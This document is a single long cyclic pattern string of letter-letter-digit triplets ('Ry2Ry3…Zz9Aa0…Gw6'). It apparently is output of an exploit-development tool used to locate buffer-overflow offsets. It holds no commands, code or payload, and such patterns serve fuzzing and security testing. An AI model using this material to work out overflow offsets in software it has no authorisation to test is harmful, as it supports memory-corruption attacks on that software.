Ry2Ry3Ry4Ry5Ry6Ry7Ry8Ry9Rz0Rz1Rz2Rz3Rz4Rz5Rz6Rz7Rz8Rz9Sa0Sa1Sa2Sa3Sa4Sa5Sa6Sa7Sa8Sa9Sb0Sb1Sb2Sb3Sb4Sb5Sb6Sb7Sb8Sb9Sc0Sc1Sc2Sc3Sc4Sc5Sc6Sc7Sc8Sc9Sd0Sd1Sd2Sd3Sd4Sd5Sd6Sd7Sd8Sd9Se0Se1Se2Se3Se4Se5Se6Se7Se8Se9Sf0Sf1Sf2Sf3Sf4Sf5Sf6Sf7Sf8Sf9Sg0Sg1Sg2Sg3Sg4Sg5Sg6Sg7Sg8Sg9Sh0Sh1Sh2Sh3Sh4Sh5Sh6Sh7Sh8Sh9Si0Si1Si2Si3Si4Si5Si6Si7Si8Si9Sj0Sj1Sj2Sj3Sj4Sj5Sj6Sj7Sj8Sj9Sk0Sk1Sk2Sk3Sk4Sk5Sk6Sk7Sk8Sk9Sl0Sl1Sl2Sl3Sl4Sl5Sl6Sl7Sl8Sl9Sm0Sm1Sm2Sm3Sm4Sm5Sm6Sm7Sm8Sm9Sn0Sn1Sn2Sn3Sn4Sn5Sn6Sn7Sn8Sn9So0So1So2So3So4So5So6So7So8So9Sp0Sp1Sp2Sp3Sp4Sp5Sp6Sp7Sp8Sp9Sq0Sq1Sq2Sq3Sq4Sq5Sq6Sq7Sq8Sq9Sr0Sr1Sr2Sr3Sr4Sr5Sr6Sr7Sr8Sr9Ss0Ss1Ss2Ss3Ss4Ss5Ss6Ss7Ss8Ss9St0St1St2St3St4St5St6St7St8St9Su0Su1Su2Su3Su4Su5Su6Su7Su8Su9Sv0Sv1Sv2Sv3Sv4Sv5Sv6Sv7Sv8Sv9Sw0Sw1Sw2Sw3Sw4Sw5Sw6Sw7Sw8Sw9Sx0Sx1Sx2Sx3Sx4Sx5Sx6Sx7Sx8Sx9Sy0Sy1Sy2Sy3Sy4Sy5Sy6Sy7Sy8Sy9Sz0Sz1Sz2Sz3Sz4Sz5Sz6Sz7Sz8Sz9Ta0Ta1Ta2Ta3Ta4Ta5Ta6Ta7Ta8Ta9Tb0Tb1Tb2Tb3Tb4Tb5Tb6Tb7Tb8Tb9Tc0Tc1Tc2Tc3Tc4Tc5Tc6Tc7Tc8Tc9Td0Td1Td2Td3Td4Td5Td6Td7Td8Td9Te0Te1Te2Te3Te4Te5Te6Te7Te8Te9Tf0Tf1Tf2Tf3Tf4Tf5Tf6Tf7Tf8Tf9Tg0Tg1Tg2Tg3Tg4Tg5Tg6Tg7Tg8Tg9Th0Th1Th2Th3Th4Th5Th6Th7Th8Th9Ti0Ti1Ti2Ti3Ti4Ti5Ti6Ti7Ti8Ti9Tj0Tj1Tj2Tj3Tj4Tj5Tj6Tj7Tj8Tj9Tk0Tk1Tk2Tk3Tk4Tk5Tk6Tk7Tk8Tk9Tl0Tl1Tl2Tl3Tl4Tl5Tl6Tl7Tl8Tl9Tm0Tm1Tm2Tm3Tm4Tm5Tm6Tm7Tm8Tm9Tn0Tn1Tn2Tn3Tn4Tn5Tn6Tn7Tn8Tn9To0To1To2To3To4To5To6To7To8To9Tp0Tp1Tp2Tp3Tp4Tp5Tp6Tp7Tp8Tp9Tq0Tq1Tq2Tq3Tq4Tq5Tq6Tq7Tq8Tq9Tr0Tr1Tr2Tr3Tr4Tr5Tr6Tr7Tr8Tr9Ts0Ts1Ts2Ts3Ts4Ts5Ts6Ts7Ts8Ts9Tt0Tt1Tt2Tt3Tt4Tt5Tt6Tt7Tt8Tt9Tu0Tu1Tu2Tu3Tu4Tu5Tu6Tu7Tu8Tu9Tv0Tv1Tv2Tv3Tv4Tv5Tv6Tv7Tv8Tv9Tw0Tw1Tw2Tw3Tw4Tw5Tw6Tw7Tw8Tw9Tx0Tx1Tx2Tx3Tx4Tx5Tx6Tx7Tx8Tx9Ty0Ty1Ty2Ty3Ty4Ty5Ty6Ty7Ty8Ty9Tz0Tz1Tz2Tz3Tz4Tz5Tz6Tz7Tz8Tz9Ua0Ua1Ua2Ua3Ua4Ua5Ua6Ua7Ua8Ua9Ub0Ub1Ub2Ub3Ub4Ub5Ub6Ub7Ub8Ub9Uc0Uc1Uc2Uc3Uc4Uc5Uc6Uc7Uc8Uc9Ud0Ud1Ud2Ud3Ud4Ud5Ud6Ud7Ud8Ud9Ue0Ue1Ue2Ue3Ue4Ue5Ue6Ue7Ue8Ue9Uf0Uf1Uf2Uf3Uf4Uf5Uf6Uf7Uf8Uf9Ug0Ug1Ug2Ug3Ug4Ug5Ug6Ug7Ug8Ug9Uh0Uh1Uh2Uh3Uh4Uh5Uh6Uh7Uh8Uh9Ui0Ui1Ui2Ui3Ui4Ui5Ui6Ui7Ui8Ui9Uj0Uj1Uj2Uj3Uj4Uj5Uj6Uj7Uj8Uj9Uk0Uk1Uk2Uk3Uk4Uk5Uk6Uk7Uk8Uk9Ul0Ul1Ul2Ul3Ul4Ul5Ul6Ul7Ul8Ul9Um0Um1Um2Um3Um4Um5Um6Um7Um8Um9Un0Un1Un2Un3Un4Un5Un6Un7Un8Un9Uo0Uo1Uo2Uo3Uo4Uo5Uo6Uo7Uo8Uo9Up0Up1Up2Up3Up4Up5Up6Up7Up8Up9Uq0Uq1Uq2Uq3Uq4Uq5Uq6Uq7Uq8Uq9Ur0Ur1Ur2Ur3Ur4Ur5Ur6Ur7Ur8Ur9Us0Us1Us2Us3Us4Us5Us6Us7Us8Us9Ut0Ut1Ut2Ut3Ut4Ut5Ut6Ut7Ut8Ut9Uu0Uu1Uu2Uu3Uu4Uu5Uu6Uu7Uu8Uu9Uv0Uv1Uv2Uv3Uv4Uv5Uv6Uv7Uv8Uv9Uw0Uw1Uw2Uw3Uw4Uw5Uw6Uw7Uw8Uw9Ux0Ux1Ux2Ux3Ux4Ux5Ux6Ux7Ux8Ux9Uy0Uy1Uy2Uy3Uy4Uy5Uy6Uy7Uy8Uy9Uz0Uz1Uz2Uz3Uz4Uz5Uz6Uz7Uz8Uz9Va0Va1Va2Va3Va4Va5Va6Va7Va8Va9Vb0Vb1Vb2Vb3Vb4Vb5Vb6Vb7Vb8Vb9Vc0Vc1Vc2Vc3Vc4Vc5Vc6Vc7Vc8Vc9Vd0Vd1Vd2Vd3Vd4Vd5Vd6Vd7Vd8Vd9Ve0Ve1Ve2Ve3Ve4Ve5Ve6Ve7Ve8Ve9Vf0Vf1Vf2Vf3Vf4Vf5Vf6Vf7Vf8Vf9Vg0Vg1Vg2Vg3Vg4Vg5Vg6Vg7Vg8Vg9Vh0Vh1Vh2Vh3Vh4Vh5Vh6Vh7Vh8Vh9Vi0Vi1Vi2Vi3Vi4Vi5Vi6Vi7Vi8Vi9Vj0Vj1Vj2Vj3Vj4Vj5Vj6Vj7Vj8Vj9Vk0Vk1Vk2Vk3Vk4Vk5Vk6Vk7Vk8Vk9Vl0Vl1Vl2Vl3Vl4Vl5Vl6Vl7Vl8Vl9Vm0Vm1Vm2Vm3Vm4Vm5Vm6Vm7Vm8Vm9Vn0Vn1Vn2Vn3Vn4Vn5Vn6Vn7Vn8Vn9Vo0Vo1Vo2Vo3Vo4Vo5Vo6Vo7Vo8Vo9Vp0Vp1Vp2Vp3Vp4Vp5Vp6Vp7Vp8Vp9Vq0Vq1Vq2Vq3Vq4Vq5Vq6Vq7Vq8Vq9Vr0Vr1Vr2Vr3Vr4Vr5Vr6Vr7Vr8Vr9Vs0Vs1Vs2Vs3Vs4Vs5Vs6Vs7Vs8Vs9Vt0Vt1Vt2Vt3Vt4Vt5Vt6Vt7Vt8Vt9Vu0Vu1Vu2Vu3Vu4Vu5Vu6Vu7Vu8Vu9Vv0Vv1Vv2Vv3Vv4Vv5Vv6Vv7Vv8Vv9Vw0Vw1Vw2Vw3Vw4Vw5Vw6Vw7Vw8Vw9Vx0Vx1Vx2Vx3Vx4Vx5Vx6Vx7Vx8Vx9Vy0Vy1Vy2Vy3Vy4Vy5Vy6Vy7Vy8Vy9Vz0Vz1Vz2Vz3Vz4Vz5Vz6Vz7Vz8Vz9Wa0Wa1Wa2Wa3Wa4Wa5Wa6Wa7Wa8Wa9Wb0Wb1Wb2Wb3Wb4Wb5Wb6Wb7Wb8Wb9Wc0Wc1Wc2Wc3Wc4Wc5Wc6Wc7Wc8Wc9Wd0Wd1Wd2Wd3Wd4Wd5Wd6Wd7Wd8Wd9We0We1We2We3We4We5We6We7We8We9Wf0Wf1Wf2Wf3Wf4Wf5Wf6Wf7Wf8Wf9Wg0Wg1Wg2Wg3Wg4Wg5Wg6Wg7Wg8Wg9Wh0Wh1Wh2Wh3Wh4Wh5Wh6Wh7Wh8Wh9Wi0Wi1Wi2Wi3Wi4Wi5Wi6Wi7Wi8Wi9Wj0Wj1Wj2Wj3Wj4Wj5Wj6Wj7Wj8Wj9Wk0Wk1Wk2Wk3Wk4Wk5Wk6Wk7Wk8Wk9Wl0Wl1Wl2Wl3Wl4Wl5Wl6Wl7Wl8Wl9Wm0Wm1Wm2Wm3Wm4Wm5Wm6Wm7Wm8Wm9Wn0Wn1Wn2Wn3Wn4Wn5Wn6Wn7Wn8Wn9Wo0Wo1Wo2Wo3Wo4Wo5Wo6Wo7Wo8Wo9Wp0Wp1Wp2Wp3Wp4Wp5Wp6Wp7Wp8Wp9Wq0Wq1Wq2Wq3Wq4Wq5Wq6Wq7Wq8Wq9Wr0Wr1Wr2Wr3Wr4Wr5Wr6Wr7Wr8Wr9Ws0Ws1Ws2Ws3Ws4Ws5Ws6Ws7Ws8Ws9Wt0Wt1Wt2Wt3Wt4Wt5Wt6Wt7Wt8Wt9Wu0Wu1Wu2Wu3Wu4Wu5Wu6Wu7Wu8Wu9Wv0Wv1Wv2Wv3Wv4Wv5Wv6Wv7Wv8Wv9Ww0Ww1Ww2Ww3Ww4Ww5Ww6Ww7Ww8Ww9Wx0Wx1Wx2Wx3Wx4Wx5Wx6Wx7Wx8Wx9Wy0Wy1Wy2Wy3Wy4Wy5Wy6Wy7Wy8Wy9Wz0Wz1Wz2Wz3Wz4Wz5Wz6Wz7Wz8Wz9Xa0Xa1Xa2Xa3Xa4Xa5Xa6Xa7Xa8Xa9Xb0Xb1Xb2Xb3Xb4Xb5Xb6Xb7Xb8Xb9Xc0Xc1Xc2Xc3Xc4Xc5Xc6Xc7Xc8Xc9Xd0Xd1Xd2Xd3Xd4Xd5Xd6Xd7Xd8Xd9Xe0Xe1Xe2Xe3Xe4Xe5Xe6Xe7Xe8Xe9Xf0Xf1Xf2Xf3Xf4Xf5Xf6Xf7Xf8Xf9Xg0Xg1Xg2Xg3Xg4Xg5Xg6Xg7Xg8Xg9Xh0Xh1Xh2Xh3Xh4Xh5Xh6Xh7Xh8Xh9Xi0Xi1Xi2Xi3Xi4Xi5Xi6Xi7Xi8Xi9Xj0Xj1Xj2Xj3Xj4Xj5Xj6Xj7Xj8Xj9Xk0Xk1Xk2Xk3Xk4Xk5Xk6Xk7Xk8Xk9Xl0Xl1Xl2Xl3Xl4Xl5Xl6Xl7Xl8Xl9Xm0Xm1Xm2Xm3Xm4Xm5Xm6Xm7Xm8Xm9Xn0Xn1Xn2Xn3Xn4Xn5Xn6Xn7Xn8Xn9Xo0Xo1Xo2Xo3Xo4Xo5Xo6Xo7Xo8Xo9Xp0Xp1Xp2Xp3Xp4Xp5Xp6Xp7Xp8Xp9Xq0Xq1Xq2Xq3Xq4Xq5Xq6Xq7Xq8Xq9Xr0Xr1Xr2Xr3Xr4Xr5Xr6Xr7Xr8Xr9Xs0Xs1Xs2Xs3Xs4Xs5Xs6Xs7Xs8Xs9Xt0Xt1Xt2Xt3Xt4Xt5Xt6Xt7Xt8Xt9Xu0Xu1Xu2Xu3Xu4Xu5Xu6Xu7Xu8Xu9Xv0Xv1Xv2Xv3Xv4Xv5Xv6Xv7Xv8Xv9Xw0Xw1Xw2Xw3Xw4Xw5Xw6Xw7Xw8Xw9Xx0Xx1Xx2Xx3Xx4Xx5Xx6Xx7Xx8Xx9Xy0Xy1Xy2Xy3Xy4Xy5Xy6Xy7Xy8Xy9Xz0Xz1Xz2Xz3Xz4Xz5Xz6Xz7Xz8Xz9Ya0Ya1Ya2Ya3Ya4Ya5Ya6Ya7Ya8Ya9Yb0Yb1Yb2Yb3Yb4Yb5Yb6Yb7Yb8Yb9Yc0Yc1Yc2Yc3Yc4Yc5Yc6Yc7Yc8Yc9Yd0Yd1Yd2Yd3Yd4Yd5Yd6Yd7Yd8Yd9Ye0Ye1Ye2Ye3Ye4Ye5Ye6Ye7Ye8Ye9Yf0Yf1Yf2Yf3Yf4Yf5Yf6Yf7Yf8Yf9Yg0Yg1Yg2Yg3Yg4Yg5Yg6Yg7Yg8Yg9Yh0Yh1Yh2Yh3Yh4Yh5Yh6Yh7Yh8Yh9Yi0Yi1Yi2Yi3Yi4Yi5Yi6Yi7Yi8Yi9Yj0Yj1Yj2Yj3Yj4Yj5Yj6Yj7Yj8Yj9Yk0Yk1Yk2Yk3Yk4Yk5Yk6Yk7Yk8Yk9Yl0Yl1Yl2Yl3Yl4Yl5Yl6Yl7Yl8Yl9Ym0Ym1Ym2Ym3Ym4Ym5Ym6Ym7Ym8Ym9Yn0Yn1Yn2Yn3Yn4Yn5Yn6Yn7Yn8Yn9Yo0Yo1Yo2Yo3Yo4Yo5Yo6Yo7Yo8Yo9Yp0Yp1Yp2Yp3Yp4Yp5Yp6Yp7Yp8Yp9Yq0Yq1Yq2Yq3Yq4Yq5Yq6Yq7Yq8Yq9Yr0Yr1Yr2Yr3Yr4Yr5Yr6Yr7Yr8Yr9Ys0Ys1Ys2Ys3Ys4Ys5Ys6Ys7Ys8Ys9Yt0Yt1Yt2Yt3Yt4Yt5Yt6Yt7Yt8Yt9Yu0Yu1Yu2Yu3Yu4Yu5Yu6Yu7Yu8Yu9Yv0Yv1Yv2Yv3Yv4Yv5Yv6Yv7Yv8Yv9Yw0Yw1Yw2Yw3Yw4Yw5Yw6Yw7Yw8Yw9Yx0Yx1Yx2Yx3Yx4Yx5Yx6Yx7Yx8Yx9Yy0Yy1Yy2Yy3Yy4Yy5Yy6Yy7Yy8Yy9Yz0Yz1Yz2Yz3Yz4Yz5Yz6Yz7Yz8Yz9Za0Za1Za2Za3Za4Za5Za6Za7Za8Za9Zb0Zb1Zb2Zb3Zb4Zb5Zb6Zb7Zb8Zb9Zc0Zc1Zc2Zc3Zc4Zc5Zc6Zc7Zc8Zc9Zd0Zd1Zd2Zd3Zd4Zd5Zd6Zd7Zd8Zd9Ze0Ze1Ze2Ze3Ze4Ze5Ze6Ze7Ze8Ze9Zf0Zf1Zf2Zf3Zf4Zf5Zf6Zf7Zf8Zf9Zg0Zg1Zg2Zg3Zg4Zg5Zg6Zg7Zg8Zg9Zh0Zh1Zh2Zh3Zh4Zh5Zh6Zh7Zh8Zh9Zi0Zi1Zi2Zi3Zi4Zi5Zi6Zi7Zi8Zi9Zj0Zj1Zj2Zj3Zj4Zj5Zj6Zj7Zj8Zj9Zk0Zk1Zk2Zk3Zk4Zk5Zk6Zk7Zk8Zk9Zl0Zl1Zl2Zl3Zl4Zl5Zl6Zl7Zl8Zl9Zm0Zm1Zm2Zm3Zm4Zm5Zm6Zm7Zm8Zm9Zn0Zn1Zn2Zn3Zn4Zn5Zn6Zn7Zn8Zn9Zo0Zo1Zo2Zo3Zo4Zo5Zo6Zo7Zo8Zo9Zp0Zp1Zp2Zp3Zp4Zp5Zp6Zp7Zp8Zp9Zq0Zq1Zq2Zq3Zq4Zq5Zq6Zq7Zq8Zq9Zr0Zr1Zr2Zr3Zr4Zr5Zr6Zr7Zr8Zr9Zs0Zs1Zs2Zs3Zs4Zs5Zs6Zs7Zs8Zs9Zt0Zt1Zt2Zt3Zt4Zt5Zt6Zt7Zt8Zt9Zu0Zu1Zu2Zu3Zu4Zu5Zu6Zu7Zu8Zu9Zv0Zv1Zv2Zv3Zv4Zv5Zv6Zv7Zv8Zv9Zw0Zw1Zw2Zw3Zw4Zw5Zw6Zw7Zw8Zw9Zx0Zx1Zx2Zx3Zx4Zx5Zx6Zx7Zx8Zx9Zy0Zy1Zy2Zy3Zy4Zy5Zy6Zy7Zy8Zy9Zz0Zz1Zz2Zz3Zz4Zz5Zz6Zz7Zz8Zz9Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6